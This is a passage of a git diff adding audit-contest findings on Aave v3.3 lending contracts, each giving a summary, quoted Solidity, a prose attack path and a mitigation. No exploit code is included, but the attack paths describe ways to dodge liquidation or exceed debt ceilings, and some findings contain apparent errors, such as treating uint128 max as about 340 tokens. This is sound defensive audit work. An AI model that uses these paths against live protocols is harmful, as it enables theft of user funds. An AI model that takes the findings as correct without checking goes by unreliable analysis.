`validateBorrow` function does not revalidate the updated health factor after including the new borrow amount. + +--- + +### **External Pre-conditions** +1. The oracle provides asset price information for the borrower’s collateral. +2. The borrowed asset has sufficient liquidity in the pool. + +--- + +### **Attack Path** +1. A borrower supplies collateral with a health factor near the liquidation threshold (e.g., 1.01). +2. The borrower calls the `borrow` function, requesting an amount that lowers their health factor to below 1 after accounting for the new debt. +3. The protocol approves the borrow request since the health factor check uses pre-borrow values and does not consider the impact of the new loan. +4. The borrower becomes immediately liquidatable, leading to liquidation risks and potential collateral loss. + +--- + +### **Impact** +- Borrowers are exposed to **immediate liquidation risks**, potentially losing a significant portion of their collateral. +- The protocol incurs unnecessary liquidation activity, which disrupts overall stability and erodes user trust. + +--- + +### **Mitigation** +The `ValidationLogic.validateBorrow` function should recalculate the health factor **after adding the new borrow amount** to the user's debt. This recalculated health factor must then be validated to ensure that it remains above the liquidation threshold before finalizing the borrow request. + +--- \ No newline at end of file diff --git a/085.md b/085.md new file mode 100644 index 0000000..e403e4e --- /dev/null +++ b/085.md @@ -0,0 +1,40 @@ +Obedient Lava Monkey + +Medium + +# Supply Cap Imprecision Due to Stale Treasury Accrual Accounting + +**Summary** +The inclusion of [reserve.accruedToTreasury](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L83-L86) in the supply cap validation may cause minor inaccuracies in the enforcement of supply caps for reserves, as the treasury balance might not always reflect the most recent accrued interest. However, these inaccuracies are typically minimal and temporary. + +**Root Cause** +In `ValidationLogic.validateSupply`, the supply cap is validated using: +```solidity +((IAToken(reserveCache.aTokenAddress).scaledTotalSupply() + + uint256(reserve.accruedToTreasury)).rayMul(reserveCache.nextLiquidityIndex) + amount) <= + supplyCap * (10 ** reserveCache.reserveConfiguration.getDecimals()), + Errors.SUPPLY_CAP_EXCEEDED +``` + +The potential imprecision arises because `reserve.accruedToTreasury` is updated during specific protocol events and might temporarily lag behind the actual accrued amount. However, this lag is typically brief and the difference is usually minimal relative to the total supply. + +**Internal Pre-conditions** +- The reserve supply must be very close to the `supplyCap`. +- The `reserve.accruedToTreasury` value must not reflect the most recent interest accrual. +- The difference between actual and recorded treasury accrual must be meaningful relative to total supply (unlikely in practice). + +**External Pre-conditions** +- A user attempts to supply funds when the supply is extremely close to the cap. +- The timing of the supply must coincide with the brief window before treasury accrual updates. + +**Attack Path** +1. A user monitors the reserve's `accruedToTreasury` state +2. User identifies a moment when `accruedToTreasury` hasn't updated recently +3. User supplies funds during this brief window +Note: This path is difficult to execute reliably and would likely result in minimal gain (hence medium severity) + +**Impact** +The protocol may experience very minor, temporary deviations from intended supply caps. + +**Mitigation Options** +Consider excluding `accruedToTreasury` from the supply cap calculation if exact cap enforcement is critical. \ No newline at end of file diff --git a/086.md b/086.md new file mode 100644 index 0000000..da972e7 --- /dev/null +++ b/086.md @@ -0,0 +1,51 @@ +Obedient Lava Monkey + +Medium + +# Incorrect LTV validation in `validateHFAndLtv` will cause improper collateral assessment for users, leading to invalid rejections + +### **Summary** +The reliance on **zero-LTV collateral** checks in `validateHFAndLtv` will cause **unintended rejections of valid user actions** for **users** when **collateral assets with non-zero LTV are incorrectly flagged** due to a mismatch in collateral and reserve configuration. + +--- + +### **Root Cause** +In `ValidationLogic.sol`, the `validateHFAndLtv` function assumes that collateral with zero LTV (Loan-to-Value) cannot coexist with reserves having non-zero LTV configurations. [Specifically, the check](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L507-L510): + +```solidity +require( + !hasZeroLtvCollateral || reserve.configuration.getLtv() == 0, + Errors.LTV_VALIDATION_FAILED +); +``` + +fails to account for cases where users may hold valid non-zero LTV reserves alongside zero-LTV assets. This causes actions like borrowing or withdrawing to be incorrectly flagged as invalid if any collateral in the user's portfolio has a zero LTV, rather than evaluating the portfolio as a whole. + +--- + +### **Internal Pre-conditions** +1. A reserve with non-zero LTV exists in the system. +2. A user holds collateral marked as zero-LTV due to specific configuration but attempts an action requiring reserve LTV validation. + +--- + +### **External Pre-conditions** +1. The oracle must report correct prices for the user’s collateral and debt assets. +2. Protocol configurations do not disable zero-LTV reserves by design. + +--- + +### **Attack Path** +1. A user supplies collateral with a non-zero LTV reserve but with zero-LTV configuration on the user side. +2. The protocol incorrectly flags the user's position as invalid due to the `validateHFAndLtv` zero-LTV check. +3. Actions such as borrowing, withdrawing, or repaying are incorrectly rejected. + +--- + +### **Impact** +Users cannot borrow or use their collateral properly despite meeting all other reserve requirements, leading to unnecessary. + +--- + +### **Mitigation** +Refactor `validateHFAndLtv` to ensure that zero-LTV collateral is only flagged if **all** reserves in the user’s portfolio are zero-LTV, and actions dependent on LTV are explicitly checked against valid reserves. \ No newline at end of file diff --git a/087.md b/087.md new file mode 100644 index 0000000..55dab66 --- /dev/null +++ b/087.md @@ -0,0 +1,49 @@ +Obedient Lava Monkey + +Medium + +# Lack of debt ceiling validation in `validateUseAsCollateral` will cause unchecked over-leveraging for users in isolated mode + +### **Summary** +The absence of a **debt ceiling** check in `validateUseAsCollateral` will allow **users** to exceed the maximum debt limit in isolated mode, bypassing protocol safeguards, as the function does not enforce the ceiling constraint. + +--- + +### **Root Cause** +In `ValidationLogic.sol`, the [validateUseAsCollateral](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L594-L609) function determines if a reserve can be used as collateral but omits a critical debt ceiling validation for isolated mode. Specifically, the function lacks a check to ensure: + +```solidity +reserve.totalDebt <= reserveConfig.getDebtCeiling() +``` + +This oversight allows collateralization even if the total debt of the reserve has already surpassed its configured debt ceiling, breaking isolation mode guarantees and risking over-leveraging. The missing validation leads to unchecked excessive borrowing against reserves, undermining protocol safety. + +--- + +### **Internal Pre-conditions** +1. A reserve is configured with a debt ceiling in isolation mode. +2. A user supplies collateral for that reserve, triggering `validateUseAsCollateral`. +3. The reserve’s total debt exceeds its debt ceiling. + +--- + +### **External Pre-conditions** +1. Debt ceiling configurations are enabled for the reserve. +2. The oracle provides correct asset prices for debt and collateral assets. + +--- + +### **Attack Path** +1. A user supplies collateral to a reserve in isolation mode. +2. Despite the reserve’s total debt exceeding its debt ceiling, the protocol allows the collateral to be used without restriction. +3. The user borrows excessively, risking insolvency or liquidation failures. + +--- + +### **Impact** +The protocol becomes exposed to excessive debt in isolated reserves, risking insolvency or liquidity imbalances. Other users may face reduced liquidity or borrowing opportunities due to debt cap breaches. + +--- + +### **Mitigation** +Add a debt ceiling check in `validateUseAsCollateral` to ensure that the reserve’s total debt remains within the configured limit. \ No newline at end of file diff --git a/088.md b/088.md new file mode 100644 index 0000000..d465dcc --- /dev/null +++ b/088.md @@ -0,0 +1,58 @@ +Obedient Lava Monkey + +Medium + +# Missing isolation mode exposure check in `validateBorrow` allows users to breach collateral debt ceilings in isolation mode + +### **Summary** +The **isolation mode exposure validation** in `validateBorrow` does not correctly ensure that the total debt exposure in isolation mode stays within the reserve's configured debt ceiling. This allows **users** to borrow beyond the allowed limits, breaking isolation mode guarantees and risking protocol insolvency. + +--- + +### **Root Cause** +In `ValidationLogic.sol`, the isolation mode validation [relies on the following check](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L200-L207): + +```solidity + require( + reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + + (params.amount / + 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) + .toUint128() <= + params.isolationModeDebtCeiling, + Errors.DEBT_CEILING_EXCEEDED + ); +``` + +This calculation assumes that the **new debt exposure** added by the borrow is correctly scaled, but it does not account for rounding errors or situations where `reserveDecimals` differ across assets, leading to potential breaches of the debt ceiling. + +If `reserveDecimals = 18` and `DEBT_CEILING_DECIMALS = 6`, the scaling factor is `10^(18 - 6) = 10^12`. +Small amounts of debt (e.g., `10^11`) will scale down to `0`, allowing these amounts to bypass debt ceiling enforcement entirely. + +--- + +### **Internal Pre-conditions** +1. A reserve is set to isolation mode with a specific debt ceiling. +2. A user borrows an amount close to the ceiling, and rounding differences in the calculation bypass the ceiling enforcement. + +--- + +### **External Pre-conditions** +1. Asset prices from the oracle must provide valid values. +2. The reserve has varying decimal configurations compared to the collateral asset. + +--- + +### **Attack Path** +1. A user borrows an amount that, when scaled using `reserveDecimals`, incorrectly bypasses the debt ceiling due to rounding differences. +2. The protocol allows the borrow, resulting in a breach of the isolation mode's debt ceiling. +3. The reserve accumulates excessive exposure, breaking isolation guarantees and exposing the protocol to potential insolvency. + +--- + +### **Impact** +The protocol's isolation mode becomes ineffective, increasing systemic risk and insolvency potential. Users relying on isolation mode safeguards may face cascading liquidations if reserves exceed their limits. + +--- + +### **Mitigation** +Use a more precise scaling mechanism for debt ceiling enforcement to eliminate rounding risks. \ No newline at end of file diff --git a/089.md b/089.md new file mode 100644 index 0000000..289526f --- /dev/null +++ b/089.md @@ -0,0 +1,65 @@ +Precise Pistachio Owl + +Medium + +# contracts with complex fallback may be unable to repayETH on behalf of others. + +### Summary + +contracts with complex fallback functions or no fallback functions at all may be unable to use `repayETH()` on behalf of others. + +### Root Cause + +This happens because the refunded ETH is sent back to the msg.sender which can be a contract with no fallback function or one with a complex fallback. + +In the case of no fallback, the whole call reverts. +In the case of complex fallback, call can be reverted due to it being out of gas. +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L75-L94 +```solidity + + function repayETH(address, uint256 amount, address onBehalfOf) external payable override { + uint256 paybackAmount = IERC20_3(POOL.getReserveVariableDebtToken(address(WETH))).balanceOf( + onBehalfOf + ); + + if (amount < paybackAmount) { + paybackAmount = amount; + } + require(msg.value >= paybackAmount, 'msg.value is less than repayment amount'); + WETH.deposit{value: paybackAmount}(); + POOL.repay( + address(WETH), + paybackAmount, + uint256(DataTypes.InterestRateMode.VARIABLE), + onBehalfOf + ); + + // refund remaining dust eth + if (msg.value > paybackAmount) _safeTransferETH(msg.sender, msg.value - paybackAmount); + } +``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +1. repaying contract has no fallback function or has complex fallback function. +2. gas prices are higher than usual. + +### Attack Path + +_No response_ + +### Impact + +This makes the `repayETH()` function unuseable for a subset of aave users in this scenario. + +### PoC + +_No response_ + +### Mitigation + +allow callers of the `repayETH()` function to specify the destination address for their refunds. \ No newline at end of file diff --git a/090.md b/090.md new file mode 100644 index 0000000..41ac2ed --- /dev/null +++ b/090.md @@ -0,0 +1,80 @@ +Cheerful Gunmetal Moose + +Medium + +# deficit storage position could break core invariant + +### Summary + +[`_reserves`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/pool/PoolStorage.sol#L21) is an internal storage variable that maps reserves to their `DataTypes.ReserveData`. in [`ReserveData`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/types/DataTypes.sol#L42-L78) struct, deficit took a storage position, +that in a previous version (piror to 3.2) was occupied by `currentStableBorrowRate` , which was deprecated on version 3.2 : + +```solidity +// OLD VERSION + + struct ReserveData { + //stores the reserve configuration + ReserveConfigurationMap configuration; + //the liquidity index. Expressed in ray + uint128 liquidityIndex; + //the current supply rate. Expressed in ray + uint128 currentLiquidityRate; + //variable borrow index. Expressed in ray + uint128 variableBorrowIndex; + //the current variable borrow rate. Expressed in ray + uint128 currentVariableBorrowRate; + //the current stable borrow rate. Expressed in ray +> uint128 currentStableBorrowRate; + //timestamp of last update + uint40 lastUpdateTimestamp; + //the id of the reserve. Represents the position in the list of the active reserves + uint16 id; + +//... + + } +``` +```solidity +// v3.3 + +struct ReserveData { + //stores the reserve configuration + ReserveConfigurationMap configuration; + //the liquidity index. Expressed in ray + uint128 liquidityIndex; + //the current supply rate. Expressed in ray + uint128 currentLiquidityRate; + //variable borrow index. Expressed in ray + uint128 variableBorrowIndex; + //the current variable borrow rate. Expressed in ray + uint128 currentVariableBorrowRate; + /// @notice reused `__deprecatedStableBorrowRate` storage from pre 3.2 + // the current accumulate deficit in underlying tokens +> uint128 deficit; + //timestamp of last update + uint40 lastUpdateTimestamp; + //the id of the reserve. Represents the position in the list of the active reserves + uint16 id; + +//... + +} +``` +This approach is actually a good one, to avoid corrupting the state of storage data. `currentStableBorrowRate` was uint128 (16 bytes) and `deficit` is uint128 (16 bytes), so it fits perfectly. + +But the problem is that `currentStableBorrowRate` could still hold data, and there is no method or logic to clear it's storage which will break the invariant : [**The deficit of all reserves should initially be zero, even if bad debt was created before the protocol upgrade.**](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/docs/3.3/Aave-v3.3-properties.md?plain=1#L9). + + +### Root Cause + +The upgrade reuses the storage slot of `currentStableBorrowRate` as `deficit` without clearing old data. + + +### Impact + +Invariant Violation + + +### Mitigation + +Clear Data on Upgrade: Reset deficit for all reserves during the migration. \ No newline at end of file diff --git a/091.md b/091.md new file mode 100644 index 0000000..0c6b660 --- /dev/null +++ b/091.md @@ -0,0 +1,54 @@ +Tiny Licorice Loris + +Medium + +# `ValidationLogic.validateSetUseReserveAsCollateral()` will fail to stop reserves marked as freezed by admin from being used as collateral. + +### Summary + +The `frozen` bool is neglected in `ValidationLogic.validateSetUseReserveAsCollateral()`, + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L322 + +### Root Cause + +```solidity + function validateSetUseReserveAsCollateral( + DataTypes.ReserveCache memory reserveCache, + uint256 userBalance + ) internal pure { + require(userBalance != 0, Errors.UNDERLYING_BALANCE_ZERO); + + (bool isActive, , , bool isPaused) = reserveCache.reserveConfiguration.getFlags();//@audit-issue will fail to stop reserves marked as freezed by admin from being used as collateral. (check `PoolCOnfigurator.setReserveActive()` ) + require(isActive, Errors.RESERVE_INACTIVE); + require(!isPaused, Errors.RESERVE_PAUSED); + } +``` + +in `ValidationLogic.validateSetUseReserveAsCollateral()` when the flags are gotten via `reserveCache.reserveConfiguration.getFlags()`, `frozen ` bool is neglected. + +This will make `ValidationLogic.validateSetUseReserveAsCollateral()` fail to stop users from using Reserves frozen by admin when `ValidationLogic.validateSetUseReserveAsCollateral()` is called in a function to validate reserve user wants to use as collateral. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +`ValidationLogic.validateSetUseReserveAsCollateral()` will fail to stop reserves marked as freezed by admin from being used as collateral. + +### PoC + +_No response_ + +### Mitigation + +checked the `frozen` bool too and ensure the reserve isn't frozen by admins \ No newline at end of file diff --git a/092.md b/092.md new file mode 100644 index 0000000..40830a7 --- /dev/null +++ b/092.md @@ -0,0 +1,98 @@ +Tiny Licorice Loris + +Medium + +# Users can stall liquidations by depleting their collateralAtoken Bal to 0 + +### Summary + +Users can stall liquidations when the liquidator sets `params.receiveAToken` to false + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L384 + +### Root Cause + +Whenever a liquidator sets `params.receiveAToken` to false, Users can make the liquidation tx to revert. + +This is due to the below check in `ScaledBalanceTokenBase._burnScaled()`, + +```solidity +uint256 amountScaled = amount.rayDiv(index); + require(amountScaled != 0, Errors.INVALID_BURN_AMOUNT); +``` + +when `vars.collateralAToken.burn` is called in `LiquidationLogic._burnCollateralATokens()`, `ScaledBalanceTokenBase._burnScaled()` is called. + +```solidity +vars.collateralAToken.burn( + params.user, + msg.sender, + vars.actualCollateralToLiquidate, + collateralReserveCache.nextLiquidityIndex + ); +``` + +The issue here is that `vars.actualCollateralToLiquidate` will be 0 if user's collateral balance is 0. + + +see `LiquidationLogic._calculateAvailableCollateralToLiquidate()` + +```solidity + function _calculateAvailableCollateralToLiquidate( + DataTypes.ReserveConfigurationMap memory collateralReserveConfiguration, + uint256 collateralAssetPrice, + uint256 collateralAssetUnit, + uint256 debtAssetPrice, + uint256 debtAssetUnit, + uint256 debtToCover, + uint256 userCollateralBalance, + uint256 liquidationBonus + ) internal pure returns (uint256, uint256, uint256, uint256) { + AvailableCollateralToLiquidateLocalVars memory vars; + vars.collateralAssetPrice = collateralAssetPrice; + vars.liquidationProtocolFeePercentage = collateralReserveConfiguration + .getLiquidationProtocolFee(); + + // This is the base collateral to liquidate based on the given debt to cover + vars.baseCollateral = + ((debtAssetPrice * debtToCover * collateralAssetUnit)) / + (vars.collateralAssetPrice * debtAssetUnit); + + vars.maxCollateralToLiquidate = vars.baseCollateral.percentMul(liquidationBonus); + + if (vars.maxCollateralToLiquidate > userCollateralBalance) { + vars.collateralAmount = userCollateralBalance;//@audit here + vars.debtAmountNeeded = ((vars.collateralAssetPrice * vars.collateralAmount * debtAssetUnit) / + (debtAssetPrice * collateralAssetUnit)).percentDiv(liquidationBonus); + } else { +``` + + + + +### Internal Pre-conditions + +1. Atokens can be transferred. which they can https://aave.com/docs/developers/smart-contracts/tokenization#atoken + +### External Pre-conditions + +1. User transfers out his collateral balance depleting it to 0 when his position becomes liquidatable. + +### Attack Path + +1. User takes positions +2. User's positions become unhealthy and liquidateable +3. just before liquidator liquidates his position, he transfers out all his collateral balance +4. liquidator attempts to liquidate user's positions but it reverts. + +### Impact + +Users can stall liquidations by depleting their collateralAtoken Bal to 0 + +### PoC + +_No response_ + +### Mitigation + +look for a way to prevent users from being able to move their collateral balance \ No newline at end of file diff --git a/093.md b/093.md new file mode 100644 index 0000000..aa1b117 --- /dev/null +++ b/093.md @@ -0,0 +1,126 @@ +Tiny Licorice Loris + +Medium + +# A frozen reserve can still be used as collateral and can be supplied to + +### Summary + +`BridgeLogic.executeMintUnbacked()` fails to check if the reserve to be minted is frozen. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L57 + +### Root Cause + +```solidity + + function executeMintUnbacked(//@audit-issue A frozen, A paused reserve can still be supplied to and used as collateral. + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + DataTypes.UserConfigurationMap storage userConfig, + address asset, + uint256 amount, + address onBehalfOf, + uint16 referralCode + ) external { + DataTypes.ReserveData storage reserve = reservesData[asset]; + DataTypes.ReserveCache memory reserveCache = reserve.cache(); + + reserve.updateState(reserveCache); + + ValidationLogic.validateSupply(reserveCache, reserve, amount, onBehalfOf); + + uint256 unbackedMintCap = reserveCache.reserveConfiguration.getUnbackedMintCap(); + uint256 reserveDecimals = reserveCache.reserveConfiguration.getDecimals(); + + uint256 unbacked = reserve.unbacked += amount.toUint128(); + + require( + unbacked <= unbackedMintCap * (10 ** reserveDecimals), + Errors.UNBACKED_MINT_CAP_EXCEEDED + ); + + reserve.updateInterestRatesAndVirtualBalance(reserveCache, asset, 0, 0); + + bool isFirstSupply = IAToken(reserveCache.aTokenAddress).mint(//@audit-ok `executeMintUnbacked()` can fail to `setUsingAsCollateral()` for first-time supply user. (A malicious user can prevent this by transferring a very minuscule amount to `onBehalfOf`) + msg.sender, + onBehalfOf, + amount, + reserveCache.nextLiquidityIndex + ); + + if (isFirstSupply) { + if ( + ValidationLogic.validateAutomaticUseAsCollateral( + reservesData, + reservesList, + userConfig, + reserveCache.reserveConfiguration, + reserveCache.aTokenAddress + ) + ) { + userConfig.setUsingAsCollateral(reserve.id, true); + emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); + } + } + + emit MintUnbacked(asset, msg.sender, onBehalfOf, amount, referralCode); + } + +``` + +There's no check whatsoever in the logic of `BridgeLogic.executeMintUnbacked()` to ascertain if the reserve to be minted is freezed by admins. + +So users can still mint unbacked for frozen reserves and supply to them later via `BridgeLogic.executeBackUnbacked()` + +This breaks the invariant where frozen reserves shouldn't allow new supplies +```solidity + /** + * @notice Freeze or unfreeze a reserve. A frozen reserve doesn't allow any new supply, borrow + * or rate swap but allows repayments, liquidations, rate rebalances and withdrawals. + * @param asset The address of the underlying asset of the reserve + * @param freeze True if the reserve needs to be frozen, false otherwise + */ + function setReserveFreeze(address asset, bool freeze) external; + +``` + +### Internal Pre-conditions + +The logic of `BridgeLogic.executeMintUnbacked()` fails to check if the asset reserve to be minted is frozen. + +### External Pre-conditions + +Can happen anytime, all the time + +### Attack Path + +1. Admins freezes an asset reserve maybe via `Poolconfigurator.setReserveFreeze()` +2. User doesn't know, he uses `BridgeLogic.executeMintUnbacked()` for that asset reserve and if all conditions are met it even sets the asset reserve as collateral for him +3. User later supplies to the reserve later via `BridgeLogic.executeBackUnbacked()` + + + +### Impact + +A asset reserve frozen by admins can still be used as collateral and supplied to by users. + +This breaks the invariant where frozen reserves shouldn't allow new supplies + +```solidity + /** + * @notice Freeze or unfreeze a reserve. A frozen reserve doesn't allow any new supply, borrow + * or rate swap but allows repayments, liquidations, rate rebalances and withdrawals. + * @param asset The address of the underlying asset of the reserve + * @param freeze True if the reserve needs to be frozen, false otherwise + */ + function setReserveFreeze(address asset, bool freeze) external; +``` + +### PoC + +_No response_ + +### Mitigation + +check the flag of the asset reserve that `BridgeLogic.executeMintUnbacked()` is to be used for and revert if it is frozen \ No newline at end of file diff --git a/094.md b/094.md new file mode 100644 index 0000000..27d9e8f --- /dev/null +++ b/094.md @@ -0,0 +1,135 @@ +Tiny Licorice Loris + +Medium + +# A Paused reserve can still be used as collateral and can be supplied to + +### Summary + +`BridgeLogic.executeMintUnbacked()` fails to check if the reserve to be minted is paused. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L57 + +### Root Cause + +```solidity + + function executeMintUnbacked(//@audit-issue A frozen, A paused reserve can still be supplied to and used as collateral. + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + DataTypes.UserConfigurationMap storage userConfig, + address asset, + uint256 amount, + address onBehalfOf, + uint16 referralCode + ) external { + DataTypes.ReserveData storage reserve = reservesData[asset]; + DataTypes.ReserveCache memory reserveCache = reserve.cache(); + + reserve.updateState(reserveCache); + + ValidationLogic.validateSupply(reserveCache, reserve, amount, onBehalfOf); + + uint256 unbackedMintCap = reserveCache.reserveConfiguration.getUnbackedMintCap(); + uint256 reserveDecimals = reserveCache.reserveConfiguration.getDecimals(); + + uint256 unbacked = reserve.unbacked += amount.toUint128(); + + require( + unbacked <= unbackedMintCap * (10 ** reserveDecimals), + Errors.UNBACKED_MINT_CAP_EXCEEDED + ); + + reserve.updateInterestRatesAndVirtualBalance(reserveCache, asset, 0, 0); + + bool isFirstSupply = IAToken(reserveCache.aTokenAddress).mint(//@audit-ok `executeMintUnbacked()` can fail to `setUsingAsCollateral()` for first-time supply user. (A malicious user can prevent this by transferring a very minuscule amount to `onBehalfOf`) + msg.sender, + onBehalfOf, + amount, + reserveCache.nextLiquidityIndex + ); + + if (isFirstSupply) { + if ( + ValidationLogic.validateAutomaticUseAsCollateral( + reservesData, + reservesList, + userConfig, + reserveCache.reserveConfiguration, + reserveCache.aTokenAddress + ) + ) { + userConfig.setUsingAsCollateral(reserve.id, true); + emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); + } + } + + emit MintUnbacked(asset, msg.sender, onBehalfOf, amount, referralCode); + } + +``` + +There's no check whatsoever in the logic of `BridgeLogic.executeMintUnbacked()` to ascertain if the reserve to be minted is paused by admins. + +So users can still mint unbacked for paused reserves and supply to them later via `BridgeLogic.executeBackUnbacked()` + +This breaks the invariant where paused reserves shouldn't allow new supplies +```solidity + /** + * @notice Pauses a reserve. A paused reserve does not allow any interaction (supply, borrow, repay, + * swap interest rate, liquidate, atoken transfers). + * @param asset The address of the underlying asset of the reserve + * @param paused True if pausing the reserve, false if unpausing + * @param gracePeriod Count of seconds after unpause during which liquidations will not be available + * - Only applicable whenever unpausing (`paused` as false) + * - Passing 0 means no grace period + * - Capped to maximum MAX_GRACE_PERIOD + */ + function setReservePause(address asset, bool paused, uint40 gracePeriod) external; + +``` + +### Internal Pre-conditions + +The logic of `BridgeLogic.executeMintUnbacked()` fails to check if the asset reserve to be minted is paused. + +### External Pre-conditions + +Can happen anytime, all the time + +### Attack Path + +1. Admins pause an asset reserve via `Poolconfigurator.setReserveFreeze()` +2. User doesn't know, he uses `BridgeLogic.executeMintUnbacked()` for that asset reserve and if all conditions are met it even sets the asset reserve as collateral for him +3. User later supplies to the reserve later via `BridgeLogic.executeBackUnbacked()` + + + +### Impact + +A asset reserve paused by admins can still be used as collateral and supplied to by users. + +This breaks the invariant where paused reserves shouldn't allow new supplies + +```solidity + /** + * @notice Pauses a reserve. A paused reserve does not allow any interaction (supply, borrow, repay, + * swap interest rate, liquidate, atoken transfers). + * @param asset The address of the underlying asset of the reserve + * @param paused True if pausing the reserve, false if unpausing + * @param gracePeriod Count of seconds after unpause during which liquidations will not be available + * - Only applicable whenever unpausing (`paused` as false) + * - Passing 0 means no grace period + * - Capped to maximum MAX_GRACE_PERIOD + */ + function setReservePause(address asset, bool paused, uint40 gracePeriod) external; + +``` + +### PoC + +_No response_ + +### Mitigation + +check the flag of the asset reserve that `BridgeLogic.executeMintUnbacked()` is to be used for and revert if it is paused \ No newline at end of file diff --git a/095.md b/095.md new file mode 100644 index 0000000..fb889c3 --- /dev/null +++ b/095.md @@ -0,0 +1,76 @@ +Upbeat Amethyst Salmon + +Medium + +# makeWeb3safe - Insufficicient integer type precision in `unbacked` token minting + +### Summary + +Forced uint256 to uint128 casting will cause an artificial supply cap and potential transaction failure for user and integrators as users attempting large mints will encounter reverts on legitimate minting operations above uint128max + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L76 +The root cause lies in the forced downcasting of the unbacked amount. +this create two issues: +1. The storage variable `reserve.unbacked` is defined as uint128 instead uint256 +2. The `amount` parameters is forcefully downcast without proper validation or handling. + +The limitation means that: + +1. Maximum single mint amount = 340,282,366,920,938,463,463,374,607,431,768,211,455 (uint128.max) +2. For a token with 18 decimals, this equals approximately 340.28 tokens +3 Total unbacked supply cannot exceed uint128.max + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. First `amount` starts as a uint256, which holdd value up to 2^256-1 +```javascript +// uint256 range: 0 to 115792089237316195423570985008687907853269984665640564039457584007913129639935 +// uint128 range: 0 to 340282366920938463463374607431768211455 +``` +2 Then it forcefully cast to uint128 with `.toUint128()` +- If amount > type(uint128).max (340282366920938463463374607431768211455), the transaction will revert +- This means you can never mint more than 340,282,366,920 tokens even if you have 18 decimals +- For a token with 18 decimals, this limits the actual token amount to approximately 340.28 tokens +3. The risk amnifest in two ways +```javascript +// Scenario 1: Direct Precision Loss +uint256 largeAmount = 340282366920938463463374607431768211456; // Just over uint128.max +uint128 converted = uint128(largeAmount); // This will revert + +// Scenario 2: Accumulated Precision Loss +uint256 amount1 = 340282366920938463463374607431768211455; // uint128.max +uint256 amount2 = 1; +uint128 result = uint128(amount1) + uint128(amount2); // This will overflow +``` + + +### Impact + +Transaction failures for legitimate minting operations + +### PoC + +_No response_ + +### Mitigation + +```diff +// Update storage variable to uint256 +struct ReserveData { ++ uint256 unbacked; // Changed from uint128 + +} + +// Remove downcasting ++ uint256 unbacked = reserve.unbacked += amount; +``` \ No newline at end of file diff --git a/096.md b/096.md new file mode 100644 index 0000000..79e4543 --- /dev/null +++ b/096.md @@ -0,0 +1,51 @@ +Fast Steel Cormorant + +Medium + +# Precision Loss Vulnerability in Isolation Mode within `BorrowLogic::executeBorrow` + +### Summary + +A critical flaw exists in the **Isolation Mode** of Aave v3.3, specifically within the `executeBorrow` function of the `BorrowLogic` contract. Isolation Mode is intended to restrict users from exceeding predefined debt ceilings when leveraging certain assets as collateral. However, due to an unintended precision loss in debt calculations, the system inaccurately tracks user debt, allowing users to surpass their designated borrowing limits. + +### Vulnerability details + +The vulnerability stems from the method used to calculate and update the `isolationModeTotalDebt`. The calculation involves integer division followed by casting the result to a smaller data type (`uint128`), which inadvertently truncates fractional values. The problematic code segment is as follows: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L110-L119 + +**Issues Identified:** + +1. **Integer Division Truncation:** Solidity's integer division discards any fractional component. For assets with high decimal precision (e.g., 18 decimals), subtracting `ReserveConfiguration.DEBT_CEILING_DECIMALS` (commonly 2) results in dividing by `10^16`. Consequently, any `params.amount` less than `10^16` effectively becomes `0` after division. + +2. **Inadequate Type Casting:** Casting the result directly to `uint128` without ensuring that the value fits within its range can lead to silent truncation or, in cases of overflow, transaction reversion (in Solidity ^0.8.0 and above). + +### Impact + +- **Consequences:** + - **Debt Ceiling Bypass:** Users can perform multiple small borrow transactions that individually do not breach the debt ceiling but cumulatively exceed it due to the precision loss. + - **Underestimated Protocol Risk:** The protocol's tracking mechanisms underestimate user debt, increasing exposure to bad debt, especially during collateral price volatility or liquidation failures. + - **Systemic Stability Threat:** Persistent undercounting of debt undermines the integrity of risk management strategies, potentially destabilizing the entire lending ecosystem. + +### **Attack Vector** + +1. **Asset Selection:** An attacker selects a collateral asset with 